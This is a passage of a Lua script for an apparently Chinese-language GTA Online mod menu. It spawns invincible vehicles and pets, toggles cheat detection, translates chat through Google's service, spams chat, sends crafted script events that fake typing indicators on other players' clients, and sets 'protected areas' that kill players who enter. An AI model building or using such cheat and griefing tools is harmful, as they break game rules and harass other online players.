            menu.trigger_commands("bodyguardcount 1")
            menu.trigger_commands("bodyguardweapon pistol")
            menu.trigger_commands("spawnbodyguards")
            menu.trigger_commands("SMYCop01")
            menu.trigger_commands("undead")
            menu.trigger_commands("otr")
            local Imortality_BodyGuards = menu.ref_by_path("Self>Bodyguards>Immortality")
            wait(300)
            menu.trigger_command(Imortality_BodyGuards)
            local vehicleHash = util.joaat("police3")
            request_model(vehicleHash)
            local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), false)
            copheli = entities.create_vehicle(vehicleHash, pos, CAM.GET_GAMEPLAY_CAM_ROT(0).z)
            VEHICLE.SET_VEHICLE_ENGINE_ON(copheli, true, true, true)
            ENTITY.SET_ENTITY_INVINCIBLE(copheli, true)
            VEHICLE.SET_PLANE_TURBULENCE_MULTIPLIER(copheli, 0.0)
            VEHICLE.SET_VEHICLE_MOD_KIT(copheli, -1)
            local id = get_closest_vehicle(entity)
            local playerpos = ENTITY.GET_ENTITY_COORDS(id)
            playerpos.z = playerpos.z + 3
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(copheli, pos.x, pos.y, pos.z, false, false, true)
            PED.SET_PED_INTO_VEHICLE(PLAYER.PLAYER_PED_ID(), copheli, -1)
        else
            local Imortality_BodyGuards = menu.ref_by_path("Self>Bodyguards>Immortality")
            menu.trigger_command(Imortality_BodyGuards)
            menu.trigger_commands("delbodyguards")
            menu.trigger_commands("deletevehicle")
            menu.trigger_commands("mpfemale")
            menu.trigger_commands("undead")
            menu.trigger_commands("otr")
            util.toast("Change you're outfit to get clothes normal again.")
        end
    end)

        
    GTTG(funfeatures, "驾驶购物车", {"givecart"}, "", function(on_toggle)
        if on_toggle then
        local vehicleHash = util.joaat("bmx")
        request_model(vehicleHash)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID(), false)
        cart = entities.create_vehicle(vehicleHash, pos, CAM.GET_GAMEPLAY_CAM_ROT(0).z)
        ENTITY.SET_ENTITY_VISIBLE(vehicleHash, false)
        ENTITY.SET_ENTITY_VISIBLE(cart, false)
        VEHICLE.SET_VEHICLE_ENGINE_ON(cart, true, true, true)
        ENTITY.SET_ENTITY_INVINCIBLE(cart, true)
        VEHICLE.SET_PLANE_TURBULENCE_MULTIPLIER(cart, 0.0)
        local id = get_closest_vehicle(entity)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3
        local ufo_object = util.joaat("prop_rub_trolley02a")
        STREAMING.REQUEST_MODEL(ufo_object)
        while not STREAMING.HAS_MODEL_LOADED(ufo_object) do
            wait()
        end
        local object1 = entities.create_object(ufo_object, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
        ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, cart, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(object1, cart)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(cart, object1, 0, 0, 0, 0, 0, 0, 180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, cart, 0, 0, 0, 0, 0, 0, 180, 0, false, true, false, 0, true)
        PED.SET_PED_INTO_VEHICLE(PLAYER.PLAYER_PED_ID(), cart, -1)

        DisablePhone()
    else
        menu.trigger_commands("superc")
        entities.delete_by_handle(cart)
        end
    end)

 function get_closest_vehicle(entity)
    local coords = ENTITY.GET_ENTITY_COORDS(entity, true)
    local vehicles = entities.get_all_vehicles_as_handles()
    local closestdist = 1000000
    local closestveh = 0
    for k, veh in pairs(vehicles) do
        if veh ~= PED.GET_VEHICLE_PED_IS_IN(PLAYER.PLAYER_PED_ID(), false) and ENTITY.GET_ENTITY_HEALTH(veh) ~= 0 then
            local vehcoord = ENTITY.GET_ENTITY_COORDS(veh, true)
            local dist = MISC.GET_DISTANCE_BETWEEN_COORDS(coords['x'], coords['y'], coords['z'], vehcoord['x'], vehcoord['y'], vehcoord['z'], true)
            if dist < closestdist then
                closestdist = dist
                closestveh = veh
            end
        end
    end
    return closestveh
    end

function upgrade_vehicle(vehicle)
    for i = 0, 49 do
        local num = VEHICLE.GET_NUM_VEHICLE_MODS(vehicle, i)
        VEHICLE.SET_VEHICLE_MOD(vehicle, i, num - 1, true)
    end
end
function give_oppressor(pid)
    local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, 0.0, 5.0, 0.0)

    local hash = util.joaat("oppressor2")

    if not STREAMING.HAS_MODEL_LOADED(hash) then
        load_model(hash)
    end

    local oppressor = entities.create_vehicle(hash, c, ENTITY.GET_ENTITY_HEADING(ped))
    ENTITY.SET_ENTITY_INVINCIBLE(oppressor)

    upgrade_vehicle(oppressor)
end

    GTAC(funfeatures, "给他爱", {"oppressorparty"}, "赠送每位战局玩家一辆马克兔(MK2)", function ()
        chat.send_message("已到位", false, true, true)
        for k,v in pairs(players.list(true, true, true)) do
            give_oppressor(v)
            wait()
        end
    end)

GTAC(funfeatures, "飞天扫帚", {""}, "注意:您将对其他玩家不可见", function()
    local pos = ENTITY.GET_ENTITY_COORDS(players.user_ped(), false)
    local broomstick = util.joaat("prop_tool_broom")
    local oppressor = util.joaat("oppressor2")
    request_model(broomstick)
    request_model(oppressor)
    obj = entities.create_object(broomstick, pos)
    veh = entities.create_vehicle(oppressor, pos, 0)
    ENTITY.SET_ENTITY_VISIBLE(veh, false, false)
    PED.SET_PED_INTO_VEHICLE(players.user_ped(), veh, -1)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(obj, veh, 0, 0, 0, 0.3, -80.0, 0, 0, true, false, false, false, 0, true) -- thanks to chaos mod for doing the annoying rotation work for me :P
end)

headlamp = GT(funfeatures, "人物头灯", {}, "本地功能(自娱自乐)")
distance = 25.0
GTluaScript.slider_float(headlamp, "距离", {"distance"}, "光照距离.", 100, 10000, 1500, 100, function(value)
    distance = value / 100
end)

brightness = 10.0
GTluaScript.slider_float(headlamp, "亮度", {"brightness"}, "光亮强度.", 100, 10000, 1000, 100, function(value)
    brightness = value / 100
end)

radius = 15.0
GTluaScript.slider_float(headlamp, "半径", {"radius"}, "光束半径.", 100, 5000, 2000, 100, function(value)
    radius = value / 100
end)

yanse = {r = 1, g = 235/255, b = 190/255, a = 0}
GTluaScript.colour(headlamp, "颜色", {"colour"}, "", yanse, true, function(value)
    yanse = value 
end)

GTLP(headlamp, "开启", {"headlamp"}, "", function()
    local head_pos = PED.GET_PED_BONE_COORDS(players.user_ped(), 31086, 0.0, 0.0, 0.0)
    local cam_rot = players.get_cam_rot(players.user())
    GRAPHICS.DRAW_SPOT_LIGHT(head_pos, cam_rot:toDir(), math.floor(yanse.r * 255), math.floor(yanse.g * 255), math.floor(yanse.b * 255), distance * 1.5, brightness, 0.0, radius, distance)
end)
    
local jinx_pet
jinx_toggle = GTLP(funfeatures, "宠物猫Jinx", {}, "招换一只可爱的小猫咪\nBy Jinx.lua", function()
    if not jinx_pet or not ENTITY.DOES_ENTITY_EXIST(jinx_pet) then
        local jinx = util.joaat("a_c_cat_01")
        request_model(jinx)
        local pos = players.get_position(players.user())
        jinx_pet = entities.create_ped(28, jinx, pos, 0)
        PED.SET_PED_COMPONENT_VARIATION(jinx_pet, 0, 0, 1, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(jinx_pet, true)
    end
    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(jinx_pet)
    TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(jinx_pet, players.user_ped(), 0, -0.3, 0, 7.0, -1, 1.5, true)
    wait(2500)
end, function()
    entities.delete_by_handle(jinx_pet)
    jinx_pet = nil
end)
    
local jinx_army = {}
local army = GT(funfeatures, "宠物猫Jinx军队", {}, "招换一堆可爱又愚蠢的小猫咪\nBy Jinx.lua")
GTluaScript.click_slider(army, "生成数量", {}, "最多256只小猫咪", 1, 256, 30, 1, function(val)
    local ped = players.user_ped()
    local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
    pos.y = pos.y - 5
    pos.z = pos.z + 1
    local jinx = util.joaat("a_c_cat_01")
    request_model(jinx)
     for i = 1, val do
        jinx_army[i] = entities.create_ped(28, jinx, pos, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(jinx_army[i], true)
        PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(jinx_army[i], true)
        PED.SET_PED_COMPONENT_VARIATION(jinx_army[i], 0, 0, 1, 0)
        TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(jinx_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
        wait()
     end 
end)

GTAC(army, "清除宠物猫Jinx", {}, "清除愚蠢的小猫咪", function()
    for i, ped in ipairs(entities.get_all_peds_as_handles()) do
        if PED.IS_PED_MODEL(ped, util.joaat("a_c_cat_01")) then
            entities.delete_by_handle(ped)
        end
    end
end)
    
GTAC(funfeatures, "唤回Jinx猫咪", {}, "将小猫咪传送到您身边", function()
    local ped = players.user_ped()
    local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
    if jinx_pet ~= nil then 
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(jinx_pet, pos, false, false, false)
    else
        util.toast("找不到你那只傻猫了. :/")
    end
end)
local hen_army = {}
GTluaScript.click_slider(funfeatures, "生成ikun军队", {}, "", 1, 256, 30, 1, function(val)
    local player = players.user_ped()
    local pos = ENTITY.GET_ENTITY_COORDS(player, false)
    pos.y = pos.y - 5
    pos.z = pos.z + 1
    local ped = util.joaat("a_c_hen")
    request_model(ped)
     for i = 1, val do
        hen_army[i] = entities.create_ped(28, ped, pos, 0)
        ENTITY.SET_ENTITY_INVINCIBLE(hen_army[i], true)
        PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(hen_army[i], true)
        PED.SET_PED_COMPONENT_VARIATION(hen_army[i], 0, 0, 1, 0)
        TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(hen_army[i], player, 0, -0.3, 0, 7.0, -1, 10, true)
        wait()
     end 
end)

GTAC(funfeatures, "删除ikun军队", {}, "", function()
    for i, ped in ipairs(hen_army) do
        entities.delete_by_handle(hen_army[i])
    end
end)

do_vpn_warn = false
GTTG(detection, "VPN检测", {}, "检测是否有VPN", function(on)
    do_vpn_warn = on
end, false)

GTLP(detection, "检测投票踢", {}, "检测谁正在使用投票踢", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        local kickowner = NETWORK.NETWORK_SESSION_GET_KICK_VOTE(pid)
        local kicked = NETWORK.NETWORK_SESSION_KICK_PLAYER(pid)
        if kicked then
            util.draw_debug_text(players.get_name(pid) .. " 这个玩家" .. kicked .. "被这个玩家踢掉了，他是:" .. kickowner)
            break
        end
    end
end)

detection_teleports = false
GTTG(detection, "传送/修改速度", {}, "在差事中能够精确检测,战局检测不准确", function(on)
    detection_teleports = on
end)

        GTLP(detection, "玩家无敌检测", {}, "检测玩家是否无敌状态", function()
        god_detection()
        end)
        
        GTLP(detection, "车辆无敌检测", {}, "检测玩家载具是否无敌状态", function()
        cargod_detection()
        end)

        GTLP(detection, "未发布载具检测", {}, "检测玩家是否驾使尚未发布的载具", function()
        unreleased_car_detection()
            end)

        GTLP(detection, "无法获得武器检测", {}, "检测玩家是否使用线上模式无法获得的武器", function()
        cantgetweapon_detection()
        end)

        GTLP(detection, "无法获得载具检测", {}, "检测玩家是否使用线上模式无法获得的载具", function()
        cantgetvar_detection()
        end)
          
        GTLP(detection, "室内使用武器检测", {}, "检测玩家是否在室内使用武器", function()
        usingweapon_detection()
        end)

        GTLP(detection, "超级驾驶检测", {}, "检测玩家是否修改载具速度", function()
        supercar_detection()
        end)
 
        GTLP(detection, "超级跑检测", {}, "检测玩家不合理的奔跑速度", function()
        superrun_detection()
        end)

        GTLP(detection, "自由镜头检测", {}, "检测玩家是否正在使用自由镜头", function()
        free_cam()
        end)

        GTLP(detection, "观看检测", {}, "检测玩家是否正在观看", function()
        lookingyou_detection()
        end)

        GTLP(detection, "传送检测", {}, "检测玩家是否使用传送", function()
        tp_detection()
        end)

        GTLP(detection, '天基炮检测', {'JSorbDetection'}, '检测玩家正在使用天基炮时通知您', function()
        orbdection()
        end)

        GTLP(detection, "不正常加入检测", {}, "检测玩家是否使用不正常方式加入战局", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        if not util.is_session_transition_active() and get_spawn_state(pid) == 0 and players.get_script_host() == pid  then
            util.toast(players.get_name(pid) .. " 触发了检测(不正常加入),现在已被归类为作弊者")
        end
    end
end)

GTLP(detection,"无人机导弹检测", {}, "当玩家驾驶无人机或发射导弹时通知您,并在附近地图上显示", function ()
    if NETWORK.NETWORK_IS_SESSION_ACTIVE() then
        for player = 0, 32 do AddBlipForPlayerDrone(player) end
    end
end, function()
    for i in pairs(blips) do RemoveBlipIndex(i) end
    notificationBits = 0
    nearbyNotificationBits = 0
end)

user_options = GT(detection, "检测用户")
mmtluascriptchatsession = false
GTTG(user_options,"检测之后发送聊天", {}, "", function(on)
    mmtluascriptchatsession = on

end)
v3_2t1 = function (x, y, z)
	x = x or 0.0
	y = y or 0.0
	z = z or 0.0
	local vec =
	{	x = x, y = y or x, z = z or x,

		magnitude = function (self, other)
			local end_vec = other and (self - other) or self
			return math.sqrt(end_vec.x^2 + end_vec.y^2 + end_vec.z^2)
		end,
		transformRotToDir = function(self, deg_z, deg_x)
			local rad_z = deg_z * math.pi / 180;
			local rad_x = deg_x * math.pi / 180;
			local num = math.abs(math.cos(rad_x));
			self.x = -math.sin(rad_z) * num
			self.y = math.cos(rad_z) * num
			self.z = math.sin(rad_x)
		end,
		degToRad = function (self)
			self.x = self.x * math.pi / 180
			self.y = self.y * math.pi / 180
			self.z = self.z * math.pi / 180
		end,
		radToDeg = function (self)
			self.x = self.x * 180 / math.pi
			self.y = self.y * 180 / math.pi
			self.z = self.z * 180 / math.pi
		end
	}
	setmetatable(vec, v3_meta)
	return vec
end
set_entity_coords_no_offset_2t1 = function (ent, pos)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(ent, pos.x, pos.y, pos.z)
    return true
end
create_vehicle_2t1 = function (hash, pos, heading, networked, alwaysFalse)
    local veh = entities.create_vehicle(hash, pos, heading)
    ENTITY.SET_ENTITY_SHOULD_FREEZE_WAITING_ON_COLLISION(veh, true)
    return veh
end

GTAC(user_options,"设置为Lua用户", {""}, "切换战局需要重新设置,按一次即可", function(m)
    pos = v3_2t1(0, 0, 0)
    dune = spawn_vehicle(534258863, pos, 0)
    ENTITY.FREEZE_ENTITY_POSITION(dune, true)
    pos.z = pos.z - players.user()
    set_entity_coords_no_offset_2t1(dune, pos)
end)
function int_to_uint(int)
	if int >= 0 then
		return int
	end
	return (1 << 32) + int
end
send_player_sms_2t1 = function (pid, message)
    menu.trigger_commands("smstext"..players.get_name(pid).." "..message)
    menu.trigger_commands("smssend"..players.get_name(pid))
end
GTAC(user_options,"检测用户", {},"", function()
    oldpos = ENTITY.GET_ENTITY_COORDS(players.user_ped())
    ENTITY.GET_ENTITY_COORDS(players.user_ped(), 0, 0, 0)
    wait(500)
    set_entity_coords_no_offset_2t1(players.user_ped(), oldpos)
    allvehs = entities.get_all_vehicles_as_handles()
    for i = 1, #allvehs do
      vehhash = int_to_uint(ENTITY.GET_ENTITY_MODEL(allvehs[i]))
      if vehhash == 534258863 then
        pos = ENTITY.GET_ENTITY_COORDS(allvehs[i])
        if 0 == pos.x and 0 == pos.y then
          print(tostring(pos.z))
          nopid = 0 - pos.z
          pid = math.floor(nopid)
          if mmtluascriptchatsession then
            if pid ~= players.user() then
              mmmtuser = players.get_name(pid)
              chat.send_message("检测到GRANDTOURINGVIP用户["..mmmtuser.."]", false,true, true)
              notification("检测到用户"..mmmtuser)
            end
          elseif pid ~= players.user() then
            print(pid)
            mmmtuser = players.get_name(pid)
            send_player_sms_2t1(pid, "~h~welcome,GRANDTOURINGVIP用户[~f~"..mmmtuser.."~q~]")
            notification("检测到用户"..mmmtuser)
          end
        end
        wait(1)
      end
      wait(1)
    end
end)

util.ensure_package_is_installed("lua/GTSCRIPTS/Z")
local sfchat = require("lib.GTSCRIPTS.Z")("multiplayer_chat")
sfchat:draw_fullscreen()
focusref = {}
isfocused = false
selectedcolormenu = 0
colorselec = 1
allchatlabel = util.get_label_text("MP_CHAT_ALL")
teamchatlabel = util.get_label_text("MP_CHAT_TEAM")

local Languages = {
	{ Name = "简体中文(中国大陆)", Key = "zh-cn" },
	{ Name = "繁体中文(港澳台)", Key = "zh-tw" },
	{ Name = "英语(美国)", Key = "en" },
}

LangKeys = {}
LangName = {}
LangIndexes = {}
LangLookupByName = {}
LangLookupByKey = {}
PlayerSpooflist = {}
PlayerSpoof = {}

for i=1,#Languages do
	local Language = Languages[i]
	LangKeys[i] = Language.Name
	LangName[i] = Language.Name
	LangIndexes[Language.Key] = i
	LangLookupByName[Language.Name] = Language.Key
	LangLookupByKey[Language.Key] = Language.Name
end

table.sort(LangKeys)

function encode(text)
	return string.gsub(text, "%s", "+")
end
function decode(text)
	return string.gsub(text, "%+", " ")
end

local chat_translation = GT(FY, "聊天翻译")

settingtrad = GT(chat_translation, "翻译设置")
colortradtrad = GT(settingtrad, "玩家名称颜色")
GTLuaScript.on_focus(colortradtrad, function()
	wait(50)
	isfocused = false
end)
selectmenu = GTAC(colortradtrad, "已选择 : ".."Color : "..colorselec, {}, "这将保存到配置文件中", function()
	menu.focus(focusref[tonumber(colorselec)])
end)
GTLuaScript.on_focus(selectmenu, function()
	wait(50)
	isfocused = false
end)
for i = 1, 234 do
	focusref[i] = GTAC(colortradtrad, "Color : "..i, {}, "这将保存到配置文件中", function() 
		GTluaScript.set_menu_name(selectmenu, "已选择 : ".."Color : "..i)
		colorselec = i
	end)
	menu.on_focus(focusref[i], function()
		isfocused = false
		wait(50)
		isfocused = true
		while isfocused do
			if not menu.is_open() then
				isfocused = false
			end
			ptr1 = memory.alloc()
			ptr2 = memory.alloc()
			ptr3 = memory.alloc()
			ptr4 = memory.alloc()
			HUD.GET_HUD_COLOUR(i, ptr1, ptr2, ptr3, ptr4)
			directx.draw_text(0.5, 0.5, "exemple", 5, 0.75, {r = memory.read_int(ptr1)/255, g = memory.read_int(ptr2)/255, b =memory.read_int(ptr3)/255, a= memory.read_int(ptr4)/255}, true)
			wait()
		end
	end)
end

GTLuaScript.text_input(settingtrad, "自定义标签 ["..string.upper(util.get_label_text("MP_CHAT_TEAM")).."] 翻译消息", {"labelteam"}, "将其留空将恢复为原始标签", function(s, click_type)
	if (s == "") then
		teamchatlabel = util.get_label_text("MP_CHAT_TEAM")
	else
		teamchatlabel = s 
	end
	if not (click_type == 4) then
	end
end)
if not (teamchatlabel == util.get_label_text("MP_CHAT_TEAM")) then
	menu.trigger_commands("labelteam "..teamchatlabel)
end


GTLuaScript.text_input(settingtrad, "自定义标签 ["..string.upper(util.get_label_text("MP_CHAT_ALL")).."] 翻译消息", {"labelall"}, "将其留空将恢复为原始标签", function(s, click_type)
	if (s == "") then
		allchatlabel = util.get_label_text("MP_CHAT_ALL")
	else
		allchatlabel = s 
	end
	if not (click_type == 4) then
	end
end)
if not (teamchatlabel == util.get_label_text("MP_CHAT_TEAM")) then
	menu.trigger_commands("labelall "..allchatlabel)
end

targetlangmenu = GTLuaScript.slider_text(chat_translation, "目标语言", {}, "您需要单击以应用更改", LangName, function(s)
	targetlang = LangLookupByName[LangKeys[s]]
end)

tradlocamenu = GTLuaScript.slider_text(settingtrad, "翻译信息的位置", {}, "您需要单击以应用更改", {"团队聊天不联网", "团队聊天", "全局聊天不联网", "全局聊天", "通知"}, function(s)
	Tradloca = s
end)
	
traductself = false
GTTG(settingtrad, "翻译自己", {}, "", function(on)
	traductself = on	
end)
traductsamelang = false
GTTG(settingtrad, "即使语言与所需语言相同,也进行翻译", {}, "可能不会正常工作,因为谷歌是个傻瓜", function(on)
	traductsamelang = on	
end)
oldway = false
GTTG(settingtrad, "使用旧方法", {}, players.get_name(players.user()).." [全部]玩家:信息", function(on)
	oldway = on	
end)
traduct = true
GTTG(chat_translation, "翻译", {"fanyi"}, "", function(on)
	traduct = on	
end, true)
menu.trigger_commands("fanyi off")
traductmymessage = GT(chat_translation, "发送翻译信息")
finallangmenu = GTLuaScript.slider_text(traductmymessage, "最终语言", {"finallang"}, "翻译成最终语言.您需要单击以应用更改", LangName, function(s)
   targetlangmessagesend = LangLookupByName[LangKeys[s]]
end)

GTAC(traductmymessage, "发送信息", {"Sendmessage"}, "输入消息的文本", function(on_click)
util.toast("请输入您的消息")
GTLuaScript.show_command_box("Sendmessage ")
end, function(on_command)
mytext = on_command
async_http.init("translate.googleapis.com", "/translate_a/single?client=gtx&sl=auto&tl="..targetlangmessagesend.."&dt=t&q="..encode(mytext), function(Sucess)
if Sucess ~= "" then
translation, original, sourceLang = Sucess:match("^%[%[%[\"(.-)\",\"(.-)\",.-,.-,.-]],.-,\"(.-)\"")
for _, pId in ipairs(players.list()) do
chat.send_targeted_message(pId, players.user(), string.gsub(translation, "%+", " "), false)
end
end
end)
async_http.dispatch()
end)
botsend = false
chat.on_message(function(packet_sender, message_sender, text, team_chat)
if not botsend then
if not traductself and (packet_sender == players.user()) then
else
if traduct then
async_http.init("translate.googleapis.com", "/translate_a/single?client=gtx&sl=auto&tl="..targetlang.."&dt=t&q="..encode(text), function(Sucess)
if Sucess ~= "" then
translation, original, sourceLang = Sucess:match("^%[%[%[\"(.-)\",\"(.-)\",.-,.-,.-]],.-,\"(.-)\"")
if not traductsamelang and (sourceLang == targetlang)then
else
if oldway then
sender = players.get_name(players.user())
translationtext = players.get_name(packet_sender).." : "..decode(translation)
colorfinal = 1
else
sender = players.get_name(packet_sender)
translationtext = decode(translation)
colorfinal = colorselec
end
if (Tradloca == 1) then						
sfchat.ADD_MESSAGE(sender, translationtext, teamchatlabel, false, colorfinal)
end if (Tradloca == 2) then
botsend = true
chat.send_message(players.get_name(packet_sender).." : "..decode(translation), true, false, true)
sfchat.ADD_MESSAGE(sender, translationtext, teamchatlabel, false, colorfinal)
end if (Tradloca == 3) then
sfchat.ADD_MESSAGE(sender, translationtext, allchatlabel, false, colorfinal)
end if (Tradloca == 4) then
botsend = true
chat.send_message(players.get_name(packet_sender).." : "..decode(translation), false, false, true)
sfchat.ADD_MESSAGE(sender, translationtext, allchatlabel, false, colorfinal)
end if (Tradloca == 5) then
util.toast(players.get_name(packet_sender).." : "..decode(translation), TOAST_ALL)
end
end
end
end)
async_http.dispatch()
end
end
end
botsend = false
end)

run = 0
while run<10 do 
	Tradloca = menu.get_value(tradlocamenu)
	targetlangmessagesend = LangLookupByName[LangKeys[menu.get_value(finallangmenu)]]
	targetlang = LangLookupByName[LangKeys[menu.get_value(targetlangmenu)]]
	wait()
	run = run+1
end
    
chatspamtrash = GT(FY, "公屏内容")

GTTG(chatspamtrash, "孔明之力", {"kongming"}, "将信息自动发送到公屏\n诸葛亮骂死王朗经典语录", function (liang)
    if liang then
        chat.send_message("我素有所知", false, true, true)
        wait(1500)
        chat.send_message("你世居东海之滨，初举孝廉入世", false, true, true)
        wait(1500)
        chat.send_message("理当匡君辅国，安汉兴刘", false, true, true)
        wait(1500)
        chat.send_message("何期反助逆贼", false, true, true)
        wait(1500)
        chat.send_message("同谋篡位。罪恶深重，天地不容！", false, true, true)
        wait(1500)
        chat.send_message("住口！无耻老贼！", false, true, true)
        wait(1500)
        chat.send_message("岂不知天下之人，皆愿生啖你肉", false, true, true)
        wait(1500)
        chat.send_message("安敢在此饶舌！", false, true, true)
        wait(1500)
        chat.send_message("今幸天意不绝炎汉，昭烈皇帝于西川继承大统", false, true, true)
        wait(1500)
        chat.send_message("我今奉嗣君之旨兴师讨贼", false, true, true)
        wait(1500)
        chat.send_message("你既为谄谀之臣", false, true, true)
        wait(1500)
        chat.send_message("只可潜身缩首，苟图衣食", false, true, true)
        wait(1500)
        chat.send_message("怎敢在我军面前妄称天数！", false, true, true)
        wait(1500)
        chat.send_message("皓首匹夫，苍髯老贼！", false, true, true)
        wait(1500)
        chat.send_message("你即将命归九泉之下！", false, true, true)
        wait(1500)
        chat.send_message("届时有何面目去见汉朝二十四代先帝！", false, true, true)
        wait(1500)
        chat.send_message("二臣贼子，你枉活七十有六！", false, true, true)
        wait(1500)
        chat.send_message("一生未立寸功，只会摇唇鼓舌，助曹为虐！", false, true, true)
        wait(1500)
        chat.send_message("一条断脊之犬，还敢在我军阵前狺狺狂吠！", false, true, true)
        wait(1500)
        chat.send_message("我从未见过有如此厚颜无耻之人！！！", false, true, true)
        wait(1500)
    end
end)

GTAC(chatspamtrash, "作死", {""}, "", function()
chat.send_message("I'm GRANDTOURINGVIP User!",false,true,true)
end)
GTAC(chatspamtrash, "踢出广告", {""}, "", function()
chat.send_message("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n----------GTVIP----------\n已为您自动踢出广告机\n----------GTLua----------",false,true,true)
end)
GTAC(chatspamtrash, "ikun", {""}, "", function()
chat.send_message("故人西辞黄鹤楼,唱跳Rap打篮球\n 春风又绿江南岸,练习长达两年半\n清明时节雨坤坤,路上行人梳中分\n借问背带何处有,牧童遥指练习生",false,true,true)
end)

GTTG(chatspamtrash, "关闭公屏聊天", {}, "", function()
	if on then
		menu.trigger_commands("hidetyping on")
	else
		menu.trigger_commands("hidetyping off")
	end
end)

faketype1 = GT(FY, "虚假输入", {}, "", function(); end)
GTAC(faketype1, "开始虚假打字", {}, "将在您的昵称上方显示键入指示符，并使其他菜单认为您正在聊天中键入", function()
	menu.trigger_commands("hidetyping off")
	for pids = 0, 31 do
		if players.exists(pids) and pids ~= players.user() then
			send_script_event(747270864, pids, {players.user(), pids, 6769})
		end
	end
end)

GTAC(faketype1, "停止虚假打字", {}, "", function()
	for pids = 0, 31 do
		if players.exists(pids) and pids ~= players.user() then
			send_script_event(-990958325, pids, {players.user(), pids, 7556})
		end
	end
end)

GTTG(faketype1, "隐藏打字", {}, "防止被检测正在打字", function(on)
	if on then
		menu.trigger_commands("hidetyping on")
	else
		menu.trigger_commands("hidetyping off")
	end
end)

local protected_areas_root = GT(lobbyFeats, "保护区域", {}, "仅对某些人开放的区域,否则该人会被击杀" )

local active_protected_areas_root = GT(protected_areas_root, "活动区域", {},  "当前被定义为'受保护'的区域")

GTTG(protected_areas_root, "执法区域", {}, "这需要为您的区域真正杀死人", function(on)
    mod_uses("player", if on then 1 else -1)
    protected_areas_on = on
end)

GTluaScript.slider(protected_areas_root, "区域范围", {}, "要创建的保护区的范围,这一旦完成就无法更改", 10, 1000, 100, 10, function(s)
    protected_area_radius = s
end)

GTTG(protected_areas_root, "总是允许朋友", {}, "无论如何都允许朋友", function(on)
    protected_area_allow_friends = on
end, true)

GTTG(protected_areas_root, "只杀死武装玩家", {}, "只瞄准带武器的玩家", function(on)
    protected_area_kill_armed = on
end)

GTAC(protected_areas_root, "定义保护区", {"definepa"}, "在您身上定义一个保护区", function(click_type)
    local c = ENTITY.GET_ENTITY_COORDS(players.user_ped(), false)
    blip = HUD.ADD_BLIP_FOR_RADIUS(c.x, c.y, c.z, protected_area_radius)
    HUD.SET_BLIP_COLOUR(blip, 61)
    HUD.SET_BLIP_ALPHA(blip, 128)
    local this_area = {}
    this_area.blip = blip
    this_area.x = c.x
    this_area.y = c.y
    this_area.z = c.z
    this_area.radius = protected_area_radius
    pa_next = #protected_areas + 1
    protected_areas[pa_next] = this_area
    local new_protected_area = GT(active_protected_areas_root, tostring(pa_next), {"protectedarea" .. pa_next}, "查看和修改此区域")
    GTAC(new_protected_area, "删除", {"deletepa" .. tostring(pa_next)}, "删除该区域。", function(click_type)
        util.remove_blip(blip)
        protected_areas[pa_next] = nil
        GTluaScript.delete(new_protected_area)
        notification("保护区已删除", colors.blue)
    end)
end)

local colouroverlyasd = GT(lobbyFeats, '颜色覆盖', {}, '')

local colourOverlay = new.colour( 0, 0, 10, 0.1 )

GTLP(colouroverlyasd, '颜色覆盖', {'JScolourOverlay'}, '在游戏上应用颜色过滤器', function()
    directx.draw_rect(0, 0, 1, 1, colourOverlay)
end)

GTluaScript.rainbow(GTluaScript.colour(colouroverlyasd   , '设置覆盖颜色', {'JSoverlayColour'}, '', colourOverlay, true, function(colour)
    colourOverlay = colour
end))

local trainsasd = GT(lobbyFeats, '火车选项', {''}, '')

local trainsStopped = false
local function stopTrain(train)
    util.create_thread(function()
        while trainsStopped do
            VEHICLE.SET_TRAIN_SPEED(train, -0.05)
            wait()
        end
        VEHICLE.SET_RENDER_TRAIN_AS_DERAILED(train, false)
    end)
end

GTTG(trainsasd, '火车脱轨', {'JSderail'}, '令所有火车脱轨并停止', function(toggle)
    local vehPointers = entities.get_all_vehicles_as_pointers()
    trainsStopped = toggle
    for i = 1, #vehPointers do
        local vehHash = entities.get_model_hash(vehPointers[i])
        if VEHICLE.GET_VEHICLE_CLASS_FROM_NAME(vehHash) == 21 then
            local trainHandle = entities.pointer_to_handle(vehPointers[i])
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(trainHandle)
            VEHICLE.SET_RENDER_TRAIN_AS_DERAILED(trainHandle, true)
            stopTrain(trainHandle)
        end
    end
end)

GTAC(trainsasd, '删除火车', {'JSdeleteTrain'}, '反火车选项', function()
    VEHICLE.DELETE_ALL_TRAINS()
end)

local markedTrains = {}
local markedTrainBlips = {}
GTLP(trainsasd, '标记附近的火车', {'JSnoMapNotifications'}, '用紫色光点标记附近的火车', function()
